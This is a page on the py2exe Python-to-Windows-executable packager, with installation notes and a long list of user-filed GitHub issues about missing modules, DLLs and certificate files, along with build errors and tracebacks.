Installation

pip install py2exe

Usage

Use the py2exe.freeze function as documented here.

Using a setup.py script or the builder

Using a setup.py script with py2exe is deprecated. Please adapt your scripts to use the new freeze API. This interface will be removed in the next major release.

The build_exe (or -m py2exe) CLI was removed in version 0.13.0.0.

Known issues and notes

• High-level methods or hooks to embed Qt plugins in the bundle (needed by PySide2/PyQt5) are missing.
• (*) win32 wheels are provided without testing. Users are encouraged to use the win_amd64 wheels (see #157).

py2exe's Issues

import error

`inspect.stack` throws IndexError when looking for `__main__` (we think) but only rarely

Thats a fun bug title.

We're using py2exe to ship https://github.com/EDCD/EDMarketConnector and have had one bug report of an IndexError in inspect.getframeinfo -- EDCD/EDMarketConnector#798 We're not sure how this happened but are reasonably sure it wasnt us. I asked about in #python on freenode and the general response was that its probably py2exe, and I think asking here would be better than asking on python/cpython until I'm sure.

I hate to do it but I have no reproduction for this, we've got a large number of users and exactly one has this issue (that has reported it). As a workaround on our side we're gonna catch any exceptions that the inspect code spits out.

502 Bad Gateway for py2exe.org

I'm not sure the best place to put this, but the documentation points to links on http://py2exe.org, which are no longer working due to bad gateway.

_ssl hook support for virtualenv

The DLLs directory isn't created for each virtualenv, so the libssl-*.dll and libcrypto-*.dll files the hook looks for need to be pulled from the parent/global python installation, which is where the _ssl.pyd comes from. Perhaps those file paths could be formed using module.__file__?

Error when using "Open with..." on a py2exe program

I'm trying to make my program built with py2exe utilize the Windows "Open with..." function. Running the program alone works fine, but when I try to run the program on a file using "Open with..." I get this error:

Traceback (most recent call last):
  File "amkeditor.pyw", line 993, in <module>
  File "tkinter\__init__.pyc", line 2023, in __init__
_tkinter.TclError: Can't find a usable init.tcl in the following directories: 
    {C:\Users\marag\Downloads\lib\tcl} C:/Users/marag/Downloads/lib/tcl8.6 {C:/Users/marag/Documents/Python Projects/AMK Editor/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/AMK Editor/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/AMK Editor/library} {C:/Users/marag/Documents/Python Projects/library} {C:/Users/marag/Documents/Python Projects/tcl8.6.9/library} C:/Users/marag/Documents/tcl8.6.9/library



This probably means that Tcl wasn't installed properly.

It looks like it's trying to find the "lib/tcl" folder, which is located in the same directory as the program, but for some reason it is searching the directory where the file that I used the "Open with..." function on instead. None of the paths in the error are where the "lib/tcl" folder is actually located, which is "C:/Users/marag/Documents/Python Projects/AMK Editor/dist/lib/tcl" Here is my py2exe setup.py:

from distutils.core import setup
import py2exe, sys, os

sys.argv.append('py2exe')

setup(
    options = {'py2exe': {'includes': ['tkinter'], 'bundle_files': 2, 'compressed': True}},
    windows = [{'script': 'amkeditor.pyw', 'icon_resources': [(1, 'amkeditor.ico')]}],
    zipfile = None
)

As I said before, this happens ONLY when using "Open with...". The program works correctly when opened alone.

certifi cacert.pem included at wrong path

The new py2exe 0.10.0 (yay! Python 3.8 support!) places the cacert.pem file from certifi in the wrong location.

py2exe puts it in the root of the application structure when certifi is expecting it in a certifi folder:

Traceback (most recent call last):
  File "<frozen zipimport>", line 177, in get_data
KeyError: 'certifi\\cacert.pem'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<frozen zipimport>", line 741, in open_resource
  File "<frozen zipimport>", line 179, in get_data
OSError: [Errno 0] : 'certifi\\cacert.pem'

py2exe: py2exe-0.10.0.0-cp38-none-win32.whl
python: 3.8.6 (x86 / 32-bit)
certifi: 2020.6.20

There's nothing in out setup.py mentioning certifi to modify py2exe behaviour. Relevant section (we have some MSI building and appcast stuff too) of setup.py:

Re: the sqlite3.dll thing, I'll look into if I can do this another way now with py2exe 0.10.0.

problem with CairoSVG/CairoCffi "._generated"

Hello,
I wanted to package a project (cewe2pdf) into a stand-alone application. I'm stuck at the following problem:
When I launch the .exe file, it fails to load the "._generated" package.
This package is part of the Cairo graphics package, and is located in c:\anaconda3\Lib\site-packages\cairocffi\_generated
This folder is always missing from the library.zip. I tried adding cairocffi._generatedthe folder name as include, but it would not allow this ("package not found").
I tried copying the folder to the /dist/ folder, but the error remains the same.

How can this be solved?

I read used the following setup.py:

from distutils.core import setup
import py2exe

 setup(console=['cewe2pdf.py'],
       options={"py2exe": {
           "packages": ['PIL', 'reportlab', 'lxml', 'cairosvg', 'cairocffi', 'urllib'],
           "bundle_files": 3,
           "compressed": False, }})

To get to this error, you also need to copy the VERSION file from /lib\site-packages\cairosvg to /dist, and the /lib\site-packages\cairocffi\VERSION to /dist/cairocffi/VERSION. Also do the same for cssselect2, and tinycss2.

CMD log

Python version : 3.7.4 (32-bit)
py2exe version : 0.9.3.1-cp37-none-win32

Tried different methods like bundle files,includes,excludes,packages but nothing works.

CACERT.pem cannot be found

When using py2exe 0.9.3.1 with the requests package and addressing an HTTPS address we need the CACERT.pem file and it is not found. Instead failing with the following message:

OSError: Could not find a suitable TLS CA certificate bundle, invalid path: C:\Projects\*****\******\lib\cacert.pem

This is probably due to the certifi hook copying the cacert.pem file under the name 'lib' (instead of under a folder named 'lib')
Later it looks for that file under a folder named 'lib' and doesn't find it.

I would have made a pull request to change it so the file is plaed without the 'lib' folder but I'm not sure if maybe there's a more elegant way of doing it. If there isn't I'll make a pull request for fixing it.

failure to compile with import NumPy AND pywin32 installed

Another odd issue I encountered.
Not sure if related or not to the previous Numpy issue.
This time If I import NumPy the file fails to compile using py2exe
It fails when trying to copy the pywin32 dll to the dist folder

Interestingly it only fails if I have pywin32 installed (python package).
If I uninstall pywin32 using pip I don't get the error during compile.
I do however get the error from the other issue when I try to run it.

This is with the mod I applied to py2exe on the previous issue (with the EXTENDED_ARG opcode).

The file test4.py:

import numpy
print('hello')

The setup file py2exe_test4.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test4.py",},],
       options={"py2exe": {
       }})

I run:
python py2exe_test4.py py2exe
My pip freeze:

numpy==1.16.2
py2exe==0.9.3.0
pywin32==224

Bundling too many data files crashes compilation

I'm trying to compile my project "Terraria-Colourfull-Chat", but problem 1) is it depends on an Auto Hot Key wrapper. Previously, I had used pyinstaller to make the executable, but it ended up being to big so I decided to try to use py2exe.
Now comes the main issue.
The AHK files that needed to be added into the app have to be added as "data files". Because py2exe doesn't have it's own way of recursively importing the contents of a folder, I made my own!
After 3 hours, it's finally finished, and it works flawlessly. Except, py2exe doesn't like it when you give it 46 different data files, with the entire data_files parameter being 7752 characters long.

When I try to build it, I get the following error:

running py2exe
Traceback (most recent call last):
  File "c:\Users\-REDACTED USERNAME-\Documents\GitHub\terrariaColorfullChat\python37venv\lib\site-packages\py2exe\mf3.py", line 706, in __code__

Environment

python 3.7.7
py2exe 2019.4.18
Windows 10.0.19041 Build 19041

Replicate

Attempt to compile the development branch of my project, with my custom setup.py

git clone --branch development https://github.com/PinkDev1/Terraria-Colourfull-Chat.git
cd Terraria-Colourfull-Chat
py 3.7 -m pip install -r requirements.txt
py -3.7 setup.py py2exe

Make sure to replace the current path in line 54 of setup.py with the actual path of where you have the AHK Wrapper's templates folder is. Although it is not explicitly in the instructions above, I recommend installing the requierements.txt while in a python venv.

I have no clue as to the internal cause of the error I described at the beginning. Any comments are welcomed

importing PYD file from pycryptodome

hello,
When pycryptodome is used with py2exe it cant import pyd file by _raw_api.pyc (bundle_files must be <3)
More info at https://python-forum.io/Thread-Py2exe-and-pycryptodome

File exist and path is right

py2exe does not like anaconda's pywintypes.dll

Seeing the error:

  File "C:\ProgramData\Miniconda3\lib\site-packages\py2exe\mf3.py", line 708, in __code__
    raise RuntimeError("should read __file__ to get the source???")

Which I can work around by changing:

                elif hasattr(self, "__file__") and not self.__file__.endswith(".pyd"):

to:

                elif hasattr(self, "__file__") and not (self.__file__.endswith(".pyd") or self.__file__.endswith(".dll")):

While this works, it seems odd - so I'm not sure if this is the correct solution.

sqlite3.dll not included

Using py2exe-0.9.3.2-cp37-none-win32.whl I'm not seeing sqlite3.dll included when having:

{ 'py2exe':
  {
    'packages': [
      'sqlite3'
    ]
  }
}

in the options passed to setup(). Files like _sqlite3.pyc and sqlite3/dump.pyc are making it into the library.zip, but not the .dll from sys.base_prefix\DLLs\sqlite3.dll.

I guess something needs adding to hooks.py to pick it up? Literally the only mention of 'dll' in the full setup.py is to include an unrelated local copy of WinSparkle.dll. No other mentions of sqlite in setup.py either.

updates to readme

While following the build instructions from the readme file I stumbled upon some issues:

Link to VC++ build tools is broken

I found the required information on https://wiki.python.org/moin/WindowsCompilers#Microsoft_Visual_C.2B-.2B-_14.2_standalone:_Build_Tools_for_Visual_Studio_2019_.28x86.2C_x64.2C_ARM.2C_ARM64.29
instead.

Had to install some packages.

Could you include the necessary dependencies in the readme file?
Here is what I had to install into a fresh python 3.7 windows installation:

• setuptools (was actually preinstalled, but could be mentioned anyway)
• pefile
• cachetools
• wheel

For newbies you could include the installation instructions like this:
pip3 install setuptools wheel pefile cachetools

Thank you very much for your effort in keeping py2exe alive! Please keep up the good work.

Fails when __file__ exists and has .dll extension

Branch 3.8 version Latest commit 1ec361d on Oct 12 downloaded as zip and pip installed.

Trying to build a project which includes pywintypes raises an error:

File "C:\Python38\lib\site-packages\py2exe\mf3.py", line 708, in code
raise RuntimeError("should read file to get the source???")
RuntimeError: should read file to get the source???

Debugging this the value of file in this case is: 'c:\\Python38\\lib\\site-packages\\pywin32_system32\\pywintypes38.dll' which obviously fails the test __file__.endswith(".pyd") on line 706.

py2exe hangs in dllfinder.py

I am running py2exe 0.9.3.0 using the wheel file with Anaconda 3-2018.12 (Python 3.7). As a first test I followed the steps here http://www.py2exe.org/index.cgi/Tutorial. Python hangs when I run the setup script. The issue appears to be in bind_image in dllfinder.py. I added some debug to print the imagename variable and it prints the following:
c:\temp\Continuum\anaconda3\DLLs\select.pyd
c:\temp\Continuum\anaconda3\VCRUNTIME140.dll
c:\Windows\system32\WS2_32.dll
c:\Windows\system32\KERNEL32.dll

I am running on 64bit Windows 7.

Thanks for your help.

IndexError: tuple index out of range on 0.9.2.2 and 0.9.3.0 py2exe with Python 3.6.

Thanks for working to get py2exe working with Python 3.5-3.7!!

I was hoping that your version would solve my problem with py2exe. However, I am getting the same IndexError I had running with py2exe 0.9.2.2 and Python 3.6 and Windows 10. I have VS Community 2017. I don't have any immediate ideas to offer now, as I have been fighting this error in py2exe for some time. I have been working between Python 2.7, 3.4, 3.6, and 3.7 and in addition to py2exe, with pyinstaller, and cx_Freeze. Along the way I realized the issues with the versions of Python 3 - that they are quite different. I am determined, and I think getting closer, but still not successful. So I am sharing both py2exe versions tracebacks (and my setup.py code) in case you can see something there that is useful for this effort. Each is separated by #######.

My setup.py file code:

`from distutils.core import setup
import py2exe, sys, os
import glob

sys.argv.append('py2exe')

setup(
options = {'py2exe': {'bundle_files': 3, 'compressed': True}},
windows = [{'script': "main.py"}],
data_files = ['C:/WINDOWS/system32/OLEAUT32.dll','C:/WINDOWS/system32/USER32.dll', 'C:/WINDOWS/system32/IMM32.dll',

'C:/WINDOWS/system32/COMDLG32.dll', 'C:/WINDOWS/system32/COMCTL32.dll',
'C:/WINDOWS/system32/ADVAPI32.dll', 'C:/WINDOWS/system32/WS2_32.dll',

zipfile = None,
)
`
#######

The tracebacks are not identical:

SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

Hi,

When using a Py2Exe created exe in a Windows 7 environment I get a system error on webdav3\client.pyc.
What can I do to overcome this error?

Pyton code:

from webdav3.client import Client
....
options = {
'webdav_hostname': i_host,
'webdav_login': i_login,
'webdav_password': i_password
}
# use the webdav client
client = Client(options)
client.verify = False # To not check SSL certificates (Default = True)

Setup:

Tried setup with explicit package
webdav3 is in folder ... ...Python37\Lib\site-packages
folder is in path

from distutils.core import setup
import py2exe

setup( console=[{ "script": 'cpy2webdav.py'},],

Missing run-py3.8-win32.exe

Hi,
I'm using a home built python and py2exe installed from source.
The py2exe build seems to work just fine, but when I try to run it I get the following error.
We've tested this on both python 3.7.4 and 3.8.0
py2exe version is 0.9.8.2

Building 'dist\test.exe'.
error: [Errno 2] No such file or directory: 'C:\\Users\\Administrator\\test\\third-party\\Python-3.8.0\\lib\\site-packages\\py2exe-0.9.3.2-py3.8.egg\\py2exe\\run-py3.8-win32.exe'
NMAKE : fatal error U1077: 'C:\Users\Administrator\test\third-party\Python-3.8.0\PCbuild\win32\python.exe' : return code '0x1'

Anybody know what might be up?
The error is correct. The file run-py3.8-win32.exe is in fact not there

Bundle everything into an EXE file using bundle_files=1 option

Hi,

We have moved our code from python 2 to python 3 and wanted to create our program EXE file using py2xe because it is faster than pyinstaller when launching. Thanks for making it possible to work in newer python 3 versions.

I am trying to generate a very very basic ".py" and I am able to generate an EXE file, but some DLLs are out of the EXE file. I am using "bundle_files = 1" in setup options.

Is it not possible now to bundle everything into an EXE file?

Thanks in advance,
Iván

FileNotFoundError: Could not find module 'geos_c.dll' (or one of its dependencies). Try using the full path with constructor syntax

Hello,
I have developed a script that uses among others the package shapely, and I have created a .exe file of my main.py with py2exe. The issue is when I try to execute my main.exe file that results in this error:

FileNotFoundError: Could not find module 'geos_c.dll' (or one of its dependencies). Try using the full path with constructor syntax.

I precise that the shapely package works correctly when I launch main.py but it doesn't work when I execute main.exe, so I suppose that the "py version" finds the geos_c.dll without any issue.

I have tried to:

1. add shapely and or geos in my setup.py;
2. reinstall shapely with the wheel instead that pip;
3. add an env variable with the path of the file geos_c.dll;

here is my setup.py:

from distutils.core import setup
import py2exe

setup(
windows=[{'script': 'main.py'}],
options={
'py2exe':
{
'includes': ['lxml.etree', 'lxml._elementpath'],
}
}
)

Do you guys think that this issue could come from py2exe?

SystemError building with pyproj

Picking up on discussion from #18, I was able to get a few packages to work by specifying the package names in the options, but one it did not work for is pyproj.

On Python 3.7.x (32 and 64-bit), same setup as in #18, but with pip install pyproj==2.2.2 to get a windows wheel. The following is the output of the resulting exe, with a bonus warning about distutils which I don't know is related. The last import, pyproj._crs is a pyc in the zip that loads a pyd outside the zip.

Pyside2 / Qt for python compatibility

Hello,
I find myself in a situation somewhat similar to nvda project's (described in nvaccess/nvda#8375).
I found your fork through the above mentionned issue and this is great news for me.
However, I couldn't find the information about the compatibility of this fork with Pyside2 (Qt for python). Is it compatible ?
Thank you in advance for your answer.

Failure to import numpy after py2exe

Hi I have another issue where the compiled application fails to import numpy even though the py2exe process seems successful

my test3.py:

import numpy
print('hello')

and my py2exe_test3.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test3.py",},],
       options={"py2exe": {
            "packages": ['numpy'],
       }})

and I run:
python py2exe_test3.py py2exe
I get the following message when trying to run the resulting test3.exe:

ImportError:

IMPORTANT: PLEASE READ THIS FOR ADVICE ON HOW TO SOLVE THIS ISSUE!

Importing the multiarray numpy extension module failed.  Most
likely you are trying to import a failed build of numpy.
Here is how to proceed:
- If you're working with a numpy git repository, try `git clean -xdf`
  (removes all files not under version control) and rebuild numpy.
- If you are simply trying to use the numpy version that you have installed:
  your installation is broken - please reinstall numpy.
- If you have already reinstalled and that did not fix the problem, then:
  1. Check that you are using the Python you expect (you're using C:\Projects\code\dist\test3.exe),
     and that you have no directories in your PATH or PYTHONPATH that can
     interfere with the Python and numpy versions you're trying to use.
  2. If (1) looks fine, you can open a new issue at
     https://github.com/numpy/numpy/issues.  Please include details on:
     - how you installed Python
     - how you installed numpy
     - your operating system
     - whether or not you have multiple versions of Python installed
     - if you built from source, your compiler versions and ideally a build log

     Note: this error has many possible causes, so please don't comment on
     an existing issue about this - open a new one instead.

Original error was: (DLL load failed: The specified module could not be found.) 'C:\\Projects\\code\\dist\\numpy.core._multiarray_umath.pyd'

My pip freeze:

I'm new to programming and can't compile the exe, I get this error. I don't know how to fix it.

Document all `py2exe` settings in `setup.py`

Wiki is nice (although there is also one that should be disabled in GitHub settings). There is still a need for a proper documentation that can be synced with py2exe releases.

For example, in the tutorial I could not find a link to the all py2exe specific options added to setup(). What I needed, however, is this block.

py2exe/py2exe/setup_template.py

Lines 145 to 170 in b531de2

	packages = [$packages],

	# windows subsystem executables (no console)

It took a while to figure out that console= is py2exe specific.

Custom Boot Script not supported

After digging through the code a bit it seems like custom_boot_script is not currently a supported feature on this fork, but I wanted to reach out and double check just in case I was missing something.
This is a feature we were using on a previous version and I'd be interested to know if there was a technical limitation or just resource/time limitation that prevented it from being added. Just want to save myself some pain before I work on a PR or fork.
Thanks!

Impossible to include pywin32 pythoncom in a project

I stumbled upon this issue while working on NVDA. For us, it is no longer that much of a problem, since we decided to stop using pywin32.

Pywin32 has a library pythoncom, which if imported, is magically changed into a module referencing pythoncom37.dll (on python 3.7). However, this conflicts with runtime.Runtime.copy_files where for every python module without code, an assertion is made for the .pyd extension:

                if hasattr(mod, "__file__"):
                    assert mod.__file__.endswith(EXTENSION_SUFFIXES[0])

It looks like distutils_buildexe contains some commented out code that handles these cases correctly, but this doesn't seem to have been ported to the Python 3 version.

COM server not working

I want to implement this DCOM:
https://github.com/emaimone/COMserver
This is my Setup.py:

# Created by: python.exe -m py2exe COMbuilder.py -W setup.py

from distutils.core import setup
import py2exe

class Target(object):
    def __init__(self, **kw):
        self.__dict__.update(kw)

    def copy(self):
        return Target(**self.__dict__)

    def __setitem__(self, name, value):
        self.__dict__[name] = value

COMbldrObj = Target(
    script="COMbuilder.py", 
    other_resources = []
    )

py2exe_options = dict(
    packages = [],
    optimize=0,
    compressed=False, 
    bundle_files=3,
    dist_dir='dist03',
    )

setup(name="name",
      console=[COMbldrObj],
      ctypes_com_server=["COMbuilder"],
      options={"py2exe": py2exe_options},
      )

The distribution folder is generated with no errors, and the registering process of the COM server also goes well:

.\dist03\COMbuilder.exe --regserver

but the COM registered in Windows does not work. The local path is missing when I check its properties, and it fails when accessed from a Windows app, via VBA.

I have been looking at the py2exe code for a while now, trying to figure out anything stupid I may be doing, with no success
Thank you
Enzo

Publish on PyPI

I think this is the only serious fork of Py2exe that's getting recent attention. Have you considered trying to claim the py2ee project on PyPI so we can get it from there as well?

Missing Modules are output when multiprocessing is import

Hello.
I am creating a Python program and converting it to an exe file in the following environment.

• Windows10 64bit
• Python 3.7.9
• py2exe 0.10.1.0 (py2exe-0.10.1.0-cp37-none-win32.whl)

C:\>pip3 list
Package     Version
----------- -------
ezdxf       0.14.2
geomdl      5.3.0
ordereddict 1.1
pip         20.1.1
py2exe      0.10.1.0
pyparsing   2.4.7
pyreadline  2.1
pywin32     300
setuptools  47.1.0
wheel       0.36.2

The created python program itself is working fine,
I found that the following warning occurs when converting using py2exe.

#!python3.7
# coding: utf-8

from distutils.core import setup
import py2exe

option = {
    'compressed': 1,
    'optimize': 2,
    'bundle_files': 3,
}

setup(
    options = {
        'py2exe': option,
    },
    console = [
        {'script': 'program.py'}
    ],
    zipfile = None,
)

  1 missing Modules
  ------------------
? multiprocessing.Pool                imported from multiprocessing.context

The following is an example of a simple program that causes a warning when converting with py2exe.

from multiprocessing import Pool

def sub(x):
    return x * x


def main():
    p = Pool(4)
    result = p.map(sub, range(10)) 
    print(result)


if __name__ == "__main__":
    main()

When using multiprocessing, the output is that the module cannot be found.
Is it a phenomenon caused by the following problems?

The modulefinder does not fully support PEP420 implicit namespace packages.

I would like to use the exe file after removing this warning if possible.
If it's difficult to get rid of the warning, is it okay to ignore this warning?

I'm having an issue compiling my software and have narrowed it down to a simple test case
see the attached test.py prints 'hello' to the screen
but compiling it using py2exe 0.9.3.0 fails with the following message:

  File "C:\Projects\pyenv\lib\site-packages\py2exe\mf3.py", line 451, in _scan_opcodes
    assert instructions[-2].opcode == LOAD_CONST

AssertionError

my test.py:

from wx.lib.agw import ultimatelistctrl
print('hello')

my py2exe file:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test.py",},],)

I compile using:
python py2exe_test.py py2exe

python version:
Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)] on win32

my pip list:

Package    Version
---------- -------
Pillow     6.0.0
pip        19.0.3
py2exe     0.9.3.0
setuptools 40.6.2
six        1.12.0
wxPython   4.0.4

Import Error: sip

I have downloaded the latest py2exe 0.9.3.2 wheel from releases and pip installed it on Windows platform.

Python Version: 3.7.5
Py2exe Version: 0.9.3.2

python setup.py py2exe --includes sip returns the error : "ImportError: sip"

After getting some help from StackOverflow etc..
I have tried using the suggested fixes-

1. Include sip in setup.py options like this :
   setup( options={"py2exe":{"includes":["sip"]}})
   OR
2. Use --includes sip flag like this:
   python setup.py install --includes sip

But it still returns the same error. Any advise or help would be greatly appreciated.

wxPython fails to properly add the right modules, forcing adding it to 'packages' option

A new issue where py2exe fails to add the correct modules of wxPython.
Not sure if this is the result of the new py2exe or the new wxPython but in previous versions it did not occur.

My test7.py:

from wx.richtext import RichTextCtrl
print('hello')

My py2exe_test7.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test7.py",},],
       options={"py2exe": {
              "includes":['imp'],
       }})

If trying to run test7.exe I get the folowing error:

Traceback (most recent call last):
  File "test7.py", line 1, in <module>
  File "C:\Projects\py2exe\pyenv\lib\site-packages\wx\richtext.py", line 17, in <module>
    from ._richtext import *
  File "<loader>", line 10, in <module>
  File "<loader>", line 8, in __load
ImportError: (No module named 'wx._adv') 'C:\\Projects\\py2exe\\dist\\wx._richtext.pyd'

To solve this I add wx to packages like this:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test7.py",},],
       options={"py2exe": {
              "includes":['imp'],
              'packages':['wx',]
       }})

It solves the issue but results in many unnecessary files in the dist folder

My pip freeze:

numpy==1.16.2
Pillow==6.0.0
py2exe==0.9.3.1
pypiwin32==223
pywin32==224
six==1.12.0
wxPython==4.0.4

Error when using numpy or numba with py2exe

Hi and thanks for py2exe. It's a really cool piece of code. It can't handle numba or numpy though.
The error for numpy is:

During handling of the above exception, another exception occurred:

Error when building exe

Hi @albertosottile, while using py2exe I encountered the following error and don't really understand what causing the error:
error: [WinError 3] The system cannot find the path specified: ''

Any idea what path it cannot find?

I am running Python version 3.7.6.
Here is my setup.py file: setup.py.zip

Here is the output from running python setup.py py2exe: py2exe-out.zip

Thank you

VCRUNTIME140.dll embedded

Hi,

Would it be possible to embed VCRUNTIME140.dll in the single generated file, so pyinstall does?

ModuleNotFoundError: No module named 'tkinter._fix'

Hello! I used the latest py2exe to package the py file. Meet this error:
ModuleNotFoundError: No module named 'tkinter._fix'.
My python version is 3.6.8. Compare the 3.4 and 3.6, I find that the tkinter._fix was remove in 3.6.
I try to revised the code of py2exe to solve the error. but failed.
